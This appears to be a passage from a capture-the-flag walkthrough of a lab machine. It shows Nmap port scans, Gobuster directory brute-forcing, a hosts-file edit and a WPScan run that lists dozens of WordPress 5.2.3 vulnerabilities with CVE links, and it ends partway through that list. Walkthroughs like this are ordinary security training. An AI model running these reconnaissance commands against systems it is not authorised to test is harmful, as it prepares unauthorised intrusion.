Enumeration

Run Nmap Scan

nmap -p- -T4 10.129.136.31

"
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-14 12:23 BST
Nmap scan report for 10.129.136.31
Host is up (0.16s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 465.83 seconds
"

nmap -p 22,80,443 -sC -sV 10.129.136.31

"
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-14 12:32 BST
Nmap scan report for 10.129.136.31
Host is up (0.17s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   2048 1005ea5056a600cb1c9c93df5f83e064 (RSA)
|   256 588c821cc6632a83875c2f2b4f4dc379 (ECDSA)
|_  256 3178afd13bc42e9d604eeb5d03eca022 (ED25519)
80/tcp  open  http     Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: HTTP Server Test Page powered by CentOS
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
443/tcp open  ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-title: HTTP Server Test Page powered by CentOS
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Not valid before: 2021-07-03T08:52:34
|_Not valid after:  2022-07-08T10:32:34
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.39 seconds
"

View Website

Directory Bruteforcing (Run Gobuster)

gobuster dir -u http://10.129.136.31/ -w /usr/share/wordlists/dirb/common.txt -z

"
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.136.31/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/10/14 12:33:32 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 199]
/.htaccess            (Status: 403) [Size: 199]
/.htpasswd            (Status: 403) [Size: 199]
/cgi-bin/             (Status: 403) [Size: 199]
/manual               (Status: 301) [Size: 236] [--> http://10.129.136.31/manual/]
                                                                                  
===============================================================
2023/10/14 12:34:50 Finished
===============================================================
"

Finding Hidden Server Information from X-Backend-Server

Updating Server Information

We are going to include the hostname information to /etc/hosts

sudo vi /etc/hosts

"
10.129.136.31 office.paper
"

Office.Paper

Looking at the bottom, the web application is made up of Wordpress

Reading Posts

Here Nick said to remove the secret content, which I believe is the private post in Wordpress.

Looking for Wordpress Exploit

wpscan --url office.paper --api-token <API-KEY>

"
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://office.paper/ [10.129.136.31]
[+] Started: Sat Oct 14 15:27:38 2023

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
 |  - X-Powered-By: PHP/7.2.24
 |  - X-Backend-Server: office.paper
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] WordPress readme found: http://office.paper/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] WordPress version 5.2.3 identified (Insecure, released on 2019-09-04).
 | Found By: Rss Generator (Passive Detection)
 |  - http://office.paper/index.php/feed/, <generator>https://wordpress.org/?v=5.2.3</generator>
 |  - http://office.paper/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.2.3</generator>
 |
 | [!] 57 vulnerabilities identified:
 |
 | [!] Title: WordPress <= 5.2.3 - Stored XSS in Customizer
 |     Fixed in: 5.2.4
 |     References:
 |      - https://wpscan.com/vulnerability/d39a7b84-28b9-4916-a2fc-6192ceb6fa56
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17674
 |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
 |      - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
 |
 | [!] Title: WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts
 |     Fixed in: 5.2.4
 |     References:
 |      - https://wpscan.com/vulnerability/3413b879-785f-4c9f-aa8a-5a4a1d5e0ba2
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17671
 |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
 |      - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
 |      - https://github.com/WordPress/WordPress/commit/f82ed753cf00329a5e41f2cb6dc521085136f308
 |      - https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/ | [!] Title: WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts
 |     Fixed in: 5.2.4
 |     References:
 |      - https://wpscan.com/vulnerability/3413b879-785f-4c9f-aa8a-5a4a1d5e0ba2
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17671
 |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
 |      - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
 |      - https://github.com/WordPress/WordPress/commit/f82ed753cf00329a5e41f2cb6dc521085136f308
 |      - https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/ | [!] Title: WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts
 |     Fixed in: 5.2.4
 |     References:
 |      - https://wpscan.com/vulnerability/3413b879-785f-4c9f-aa8a-5a4a1d5e0ba2
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17671
 |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
 |      - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
 |      - https://github.com/WordPress/WordPress/commit/f82ed753cf00329a5e41f2cb6dc521085136f308
 |      - https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/
 |
 | [!] Title: WordPress <= 5.2.3 - Stored XSS in Style Tags
 |     Fixed in: 5.2.4
 |     References:
 |      - https://wpscan.com/vulnerability/d005b1f8-749d-438a-8818-21fba45c6465
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17672
 |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
 |      - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
 |
 | [!] Title: WordPress <= 5.2.3 - JSON Request Cache Poisoning
 |     Fixed in: 5.2.4
 |     References:
 |      - https://wpscan.com/vulnerability/7804d8ed-457a-407e-83a7-345d3bbe07b2
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17673
 |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
 |      - https://github.com/WordPress/WordPress/commit/b224c251adfa16a5f84074a3c0886270c9df38de
 |      - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
 |
 | [!] Title: WordPress <= 5.2.3 - Server-Side Request Forgery (SSRF) in URL Validation 
 |     Fixed in: 5.2.4
 |     References:
 |      - https://wpscan.com/vulnerability/26a26de2-d598-405d-b00c-61f71cfacff6
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17669
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17670
 |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
 |      - https://github.com/WordPress/WordPress/commit/9db44754b9e4044690a6c32fd74b9d5fe26b07b2
 |      - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
 |
 | [!] Title: WordPress <= 5.2.3 - Admin Referrer Validation
 |     Fixed in: 5.2.4
 |     References:
 |      - https://wpscan.com/vulnerability/715c00e3-5302-44ad-b914-131c162c3f71
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17675
 |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
 |      - https://github.com/WordPress/WordPress/commit/b183fd1cca0b44a92f0264823dd9f22d2fd8b8d0
 |      - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
 |
 | [!] Title: WordPress <= 5.3 - Authenticated Improper Access Controls in REST API
 |     Fixed in: 5.2.5
 |     References:
 |      - https://wpscan.com/vulnerability/4a6de154-5fbd-4c80-acd3-8902ee431bd8
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20043
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16788
 |      - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-g7rg-hchx-c2gw
 |
 | [!] Title: WordPress <= 5.3 - Authenticated Stored XSS via Crafted Links
 |     Fixed in: 5.2.5
 |     References:
 |      - https://wpscan.com/vulnerability/23553517-34e3-40a9-a406-f3ffbe9dd265
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20042
 |      - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
 |      - https://hackerone.com/reports/509930
 |      - https://github.com/WordPress/wordpress-develop/commit/1f7f3f1f59567e2504f0fbebd51ccf004b3ccb1d
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-xvg2-m2f4-83m7
 |
 | [!] Title: WordPress <= 5.3 - Authenticated Stored XSS via Block Editor Content
 |     Fixed in: 5.2.5
 |     References:
 |      - https://wpscan.com/vulnerability/be794159-4486-4ae1-a5cc-5c190e5ddf5f
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16781
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16780
 |      - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-pg4x-64rh-3c9v
 |
 | [!] Title: WordPress <= 5.3 - wp_kses_bad_protocol() Colon Bypass
 |     Fixed in: 5.2.5
 |     References:
 |      - https://wpscan.com/vulnerability/8fac612b-95d2-477a-a7d6-e5ec0bb9ca52
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20041
 |      - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/b1975463dd995da19bb40d3fa0786498717e3c53
 |
 | [!] Title: WordPress < 5.4.1 - Password Reset Tokens Failed to Be Properly Invalidated
 |     Fixed in: 5.2.6
 |     References:
 |      - https://wpscan.com/vulnerability/7db191c0-d112-4f08-a419-a1cd81928c4e
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11027
 |      - https://wordpress.org/news/2020/04/wordpress-5-4-1/
 |      - https://core.trac.wordpress.org/changeset/47634/
 |      - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ww7v-jg8c-q6jw
 |
 | [!] Title: WordPress < 5.4.1 - Unauthenticated Users View Private Posts
 |     Fixed in: 5.2.6
 |     References:
 |      - https://wpscan.com/vulnerability/d1e1ba25-98c9-4ae7-8027-9632fb825a56
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11028
 |      - https://wordpress.org/news/2020/04/wordpress-5-4-1/
 |      - https://core.trac.wordpress.org/changeset/47635/
 |      - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-xhx9-759f-6p2w
 |
 | [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in Customizer
 |     Fixed in: 5.2.6
 |     References:
 |      - https://wpscan.com/vulnerability/4eee26bd-a27e-4509-a3a5-8019dd48e429
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11025
 |      - https://wordpress.org/news/2020/04/wordpress-5-4-1/
 |      - https://core.trac.wordpress.org/changeset/47633/
 |      - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-4mhg-j6fx-5g3c
 |
 | [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in Search Block
 |     Fixed in: 5.2.6
 |     References:
 |      - https://wpscan.com/vulnerability/e4bda91b-067d-45e4-a8be-672ccf8b1a06
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11030
 |      - https://wordpress.org/news/2020/04/wordpress-5-4-1/
 |      - https://core.trac.wordpress.org/changeset/47636/
 |      - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-vccm-6gmc-qhjh
 |
 | [!] Title: WordPress < 5.4.1 - Cross-Site Scripting (XSS) in wp-object-cache
 |     Fixed in: 5.2.6
 |     References:
 |      - https://wpscan.com/vulnerability/e721d8b9-a38f-44ac-8520-b4a9ed6a5157
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11029
 |      - https://wordpress.org/news/2020/04/wordpress-5-4-1/
 |      - https://core.trac.wordpress.org/changeset/47637/
 |      - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-568w-8m88-8g2c
 |
 | [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in File Uploads
 |     Fixed in: 5.2.6
 |     References:
 |      - https://wpscan.com/vulnerability/55438b63-5fc9-4812-afc4-2f1eff800d5f
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11026
 |      - https://wordpress.org/news/2020/04/wordpress-5-4-1/
 |      - https://core.trac.wordpress.org/changeset/47638/
 |      - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-3gw2-4656-pfr2
 |      - https://hackerone.com/reports/179695
 |
 | [!] Title: WordPress <= 5.2.3 - Hardening Bypass
 |     Fixed in: 5.2.4
 |     References:
 |      - https://wpscan.com/vulnerability/378d7df5-bce2-406a-86b2-ff79cd699920
 |      - https://blog.ripstech.com/2020/wordpress-hardening-bypass/
 |      - https://hackerone.com/reports/436928
 |      - https://wordpress.org/news/2019/11/wordpress-5-2-4-update/
 |
 | [!] Title: WordPress < 5.4.2 - Authenticated XSS in Block Editor
 |     Fixed in: 5.2.7
 |     References:
 |      - https://wpscan.com/vulnerability/831e4a94-239c-4061-b66e-f5ca0dbb84fa
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4046
 |      - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-rpwf-hrh2-39jf
 |      - https://pentest.co.uk/labs/research/subtle-stored-xss-wordpress-core/
 |      - https://www.youtube.com/watch?v=tCh7Y8z8fb4
 |
 | [!] Title: WordPress < 5.4.2 - Authenticated XSS via Media Files
 |     Fixed in: 5.2.7
 |     References:
 |      - https://wpscan.com/vulnerability/741d07d1-2476-430a-b82f-e1228a9343a4
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4047
 |      - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-8q2w-5m27-wm27
 |
 | [!] Title: WordPress < 5.4.2 - Open Redirection
 |     Fixed in: 5.2.7
 |     References:
 |      - https://wpscan.com/vulnerability/12855f02-432e-4484-af09-7d0fbf596909
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4048
 |      - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/
 |      - https://github.com/WordPress/WordPress/commit/10e2a50c523cf0b9785555a688d7d36a40fbeccf
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-q6pw-gvf4-5fj5
 |
 | [!] Title: WordPress < 5.4.2 - Authenticated Stored XSS via Theme Upload
 |     Fixed in: 5.2.7
 |     References:
 |      - https://wpscan.com/vulnerability/d8addb42-e70b-4439-b828-fd0697e5d9d4
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4049
 |      - https://www.exploit-db.com/exploits/48770/
 |      - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-87h4-phjv-rm6p
 |      - https://hackerone.com/reports/406289
 |
 | [!] Title: WordPress < 5.4.2 - Misuse of set-screen-option Leading to Privilege Escalation
 |     Fixed in: 5.2.7
 |     References:
 |      - https://wpscan.com/vulnerability/b6f69ff1-4c11-48d2-b512-c65168988c45
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4050
 |      - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/
 |      - https://github.com/WordPress/WordPress/commit/dda0ccdd18f6532481406cabede19ae2ed1f575d
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-4vpv-fgg2-gcqc
 |
 | [!] Title: WordPress < 5.4.2 - Disclosure of Password-Protected Page/Post Comments
 |     Fixed in: 5.2.7
 |     References:
 |      - https://wpscan.com/vulnerability/eea6dbf5-e298-44a7-9b0d-f078ad4741f9
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25286
 |      - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/
 |      - https://github.com/WordPress/WordPress/commit/c075eec24f2f3214ab0d0fb0120a23082e6b1122
 |
 | [!] Title: WordPress 4.7-5.7 - Authenticated Password Protected Pages Exposure
 |     Fixed in: 5.2.10
 |     References:
 |      - https://wpscan.com/vulnerability/6a3ec618-c79e-4b9c-9020-86b157458ac5
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29450
 |      - https://wordpress.org/news/2021/04/wordpress-5-7-1-security-and-maintenance-release/
 |      - https://blog.wpscan.com/2021/04/15/wordpress-571-security-vulnerability-release.html
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-pmmh-2f36-wvhq
 |      - https://core.trac.wordpress.org/changeset/50717/
 |      - https://www.youtube.com/watch?v=J2GXmxAdNWs
 |
 | [!] Title: WordPress 3.7 to 5.7.1 - Object Injection in PHPMailer
 |     Fixed in: 5.2.11
 |     References:
 |      - https://wpscan.com/vulnerability/4cd46653-4470-40ff-8aac-318bee2f998d
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36326
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19296
 |      - https://github.com/WordPress/WordPress/commit/267061c9595fedd321582d14c21ec9e7da2dcf62
 |      - https://wordpress.org/news/2021/05/wordpress-5-7-2-security-release/
 |      - https://github.com/PHPMailer/PHPMailer/commit/e2e07a355ee8ff36aba21d0242c5950c56e4c6f9
 |      - https://www.wordfence.com/blog/2021/05/wordpress-5-7-2-security-release-what-you-need-to-know/
 |      - https://www.youtube.com/watch?v=HaW15aMzBUM
 |
 | [!] Title: WordPress < 5.8.2 - Expired DST Root CA X3 Certificate
 |     Fixed in: 5.2.13
 |     References:
 |      - https://wpscan.com/vulnerability/cc23344a-5c91-414a-91e3-c46db614da8d
 |      - https://wordpress.org/news/2021/11/wordpress-5-8-2-security-and-maintenance-release/
 |      - https://core.trac.wordpress.org/ticket/54207
 |
 | [!] Title: WordPress < 5.8 - Plugin Confusion
 |     Fixed in: 5.8
 |     References:
 |      - https://wpscan.com/vulnerability/95e01006-84e4-4e95-b5d7-68ea7b5aa1a8
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44223
 |      - https://vavkamil.cz/2021/11/25/wordpress-plugin-confusion-update-can-get-you-pwned/
 |
 | [!] Title: WordPress < 5.8.3 - SQL Injection via WP_Query
 |     Fixed in: 5.2.14
 |     References:
 |      - https://wpscan.com/vulnerability/7f768bcf-ed33-4b22-b432-d1e7f95c1317
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21661
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-6676-cqfm-gw84
 |      - https://hackerone.com/reports/1378209
 |
 | [!] Title: WordPress < 5.8.3 - Author+ Stored XSS via Post Slugs
 |     Fixed in: 5.2.14
 |     References:
 |      - https://wpscan.com/vulnerability/dc6f04c2-7bf2-4a07-92b5-dd197e4d94c8
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21662
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-699q-3hj9-889w
 |      - https://hackerone.com/reports/425342
 |      - https://blog.sonarsource.com/wordpress-stored-xss-vulnerability
 |
 | [!] Title: WordPress 4.1-5.8.2 - SQL Injection via WP_Meta_Query
 |     Fixed in: 5.2.14
 |     References:
 |      - https://wpscan.com/vulnerability/24462ac4-7959-4575-97aa-a6dcceeae722
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21664
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jp3p-gw8h-6x86
 |
 | [!] Title: WordPress < 5.8.3 - Super Admin Object Injection in Multisites
 |     Fixed in: 5.2.14
 |     References:
 |      - https://wpscan.com/vulnerability/008c21ab-3d7e-4d97-b6c3-db9d83f390a7
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21663
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jmmq-m8p8-332h
 |      - https://hackerone.com/reports/541469
 |
 | [!] Title: WordPress < 5.9.2 - Prototype Pollution in jQuery
 |     Fixed in: 5.2.15
 |     References:
 |      - https://wpscan.com/vulnerability/1ac912c1-5e29-41ac-8f76-a062de254c09
 |      - https://wordpress.org/news/2022/03/wordpress-5-9-2-security-maintenance-release/
 |
 | [!] Title: WP < 6.0.2 - Reflected Cross-Site Scripting
 |     Fixed in: 5.2.16
 |     References:
 |      - https://wpscan.com/vulnerability/622893b0-c2c4-4ee7-9fa1-4cecef6e36be
 |      - https://wordpress.org/news/2022/08/wordpress-6-0-2-security-and-maintenance-release/
 |
 | [!] Title: WP < 6.0.2 - Authenticated Stored Cross-Site Scripting
 |     Fixed in: 5.2.16
 |     References:
 |      - https://wpscan.com/vulnerability/3b1573d4-06b4-442b-bad5-872753118ee0
 |      - https://wordpress.org/news/2022/08/wordpress-6-0-2-security-and-maintenance-release/
 |
 | [!] Title: WP < 6.0.2 - SQLi via Link API
 |     Fixed in: 5.2.16
 |     References:
 |      - https://wpscan.com/vulnerability/601b0bf9-fed2-4675-aec7-fed3156a022f
 |      - https://wordpress.org/news/2022/08/wordpress-6-0-2-security-and-maintenance-release/
 |
 | [!] Title: WP < 6.0.3 - Stored XSS via wp-mail.php
 |     Fixed in: 5.2.17
 |     References:
 |      - https://wpscan.com/vulnerability/713bdc8b-ab7c-46d7-9847-305344a579c4
 |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/abf236fdaf94455e7bc6e30980cf70401003e283
 |
 | [!] Title: WP < 6.0.3 - Open Redirect via wp_nonce_ays
 |     Fixed in: 5.2.17
 |     References:
 |      - https://wpscan.com/vulnerability/926cd097-b36f-4d26-9c51-0dfab11c301b
 |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/506eee125953deb658307bb3005417cb83f32095
 |
 | [!] Title: WP < 6.0.3 - Email Address Disclosure via wp-mail.php
 |     Fixed in: 5.2.17
 |     References:
 |      - https://wpscan.com/vulnerability/c5675b59-4b1d-4f64-9876-068e05145431
 |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/5fcdee1b4d72f1150b7b762ef5fb39ab288c8d44
 |
 | [!] Title: WP < 6.0.3 - Reflected XSS via SQLi in Media Library
 |     Fixed in: 5.2.17
 |     References:
 |      - https://wpscan.com/vulnerability/cfd8b50d-16aa-4319-9c2d-b227365c2156
 |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/8836d4682264e8030067e07f2f953a0f66cb76cc
 |
 | [!] Title: WP < 6.0.3 - CSRF in wp-trackback.php
 |     Fixed in: 5.2.17
 |     References:
 |      - https://wpscan.com/vulnerability/b60a6557-ae78-465c-95bc-a78cf74a6dd0
 |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/a4f9ca17fae0b7d97ff807a3c234cf219810fae0
 |
 | [!] Title: WP < 6.0.3 - Stored XSS via the Customizer
 |     Fixed in: 5.2.17
 |     References:
 |      - https://wpscan.com/vulnerability/2787684c-aaef-4171-95b4-ee5048c74218
 |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/2ca28e49fc489a9bb3c9c9c0d8907a033fe056ef
 |
 | [!] Title: WP < 6.0.3 - Stored XSS via Comment Editing
 |     Fixed in: 5.2.17
 |     References:
 |      - https://wpscan.com/vulnerability/02d76d8e-9558-41a5-bdb6-3957dc31563b
 |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/89c8f7919460c31c0f259453b4ffb63fde9fa955
 |
 | [!] Title: WP < 6.0.3 - Content from Multipart Emails Leaked
 |     Fixed in: 5.2.17
 |     References:
 |      - https://wpscan.com/vulnerability/3f707e05-25f0-4566-88ed-d8d0aff3a872
 |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/3765886b4903b319764490d4ad5905bc5c310ef8
 |
 | [!] Title: WP < 6.0.3 - SQLi in WP_Date_Query
 |     Fixed in: 5.2.17
 |     References:
 |      - https://wpscan.com/vulnerability/1da03338-557f-4cb6-9a65-3379df4cce47
 |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/d815d2e8b2a7c2be6694b49276ba3eee5166c21f
 |
 | [!] Title: WP < 6.0.3 - Stored XSS via RSS Widget
 |     Fixed in: 5.2.17
 |     References:
 |      - https://wpscan.com/vulnerability/58d131f5-f376-4679-b604-2b888de71c5b
 |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/929cf3cb9580636f1ae3fe944b8faf8cca420492
 |
 | [!] Title: WP < 6.0.3 - Data Exposure via REST Terms/Tags Endpoint
 |     Fixed in: 5.2.17
 |     References:
 |      - https://wpscan.com/vulnerability/b27a8711-a0c0-4996-bd6a-01734702913e
 |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/ebaac57a9ac0174485c65de3d32ea56de2330d8e
 |
 | [!] Title: WP < 6.0.3 - Multiple Stored XSS via Gutenberg
 |     Fixed in: 5.2.17
 |     References:
 |      - https://wpscan.com/vulnerability/f513c8f6-2e1c-45ae-8a58-36b6518e2aa9
 |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
 |      - https://github.com/WordPress/gutenberg/pull/45045/files
 |
 | [!] Title: WP <= 6.2 - Unauthenticated Blind SSRF via DNS Rebinding
 |     References:
 |      - https://wpscan.com/vulnerability/c8814e6e-78b3-4f63-a1d3-6906a84c1f11
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3590
 |      - https://blog.sonarsource.com/wordpress-core-unauthenticated-blind-ssrf/
 |
 | [!] Title: WP < 6.2.1 - Directory Traversal via Translation Files
 |     Fixed in: 5.2.18
 |     References:
 |      - https://wpscan.com/vulnerability/2999613a-b8c8-4ec0-9164-5dfe63adf6e6
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-2745
 |      - https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/
 |
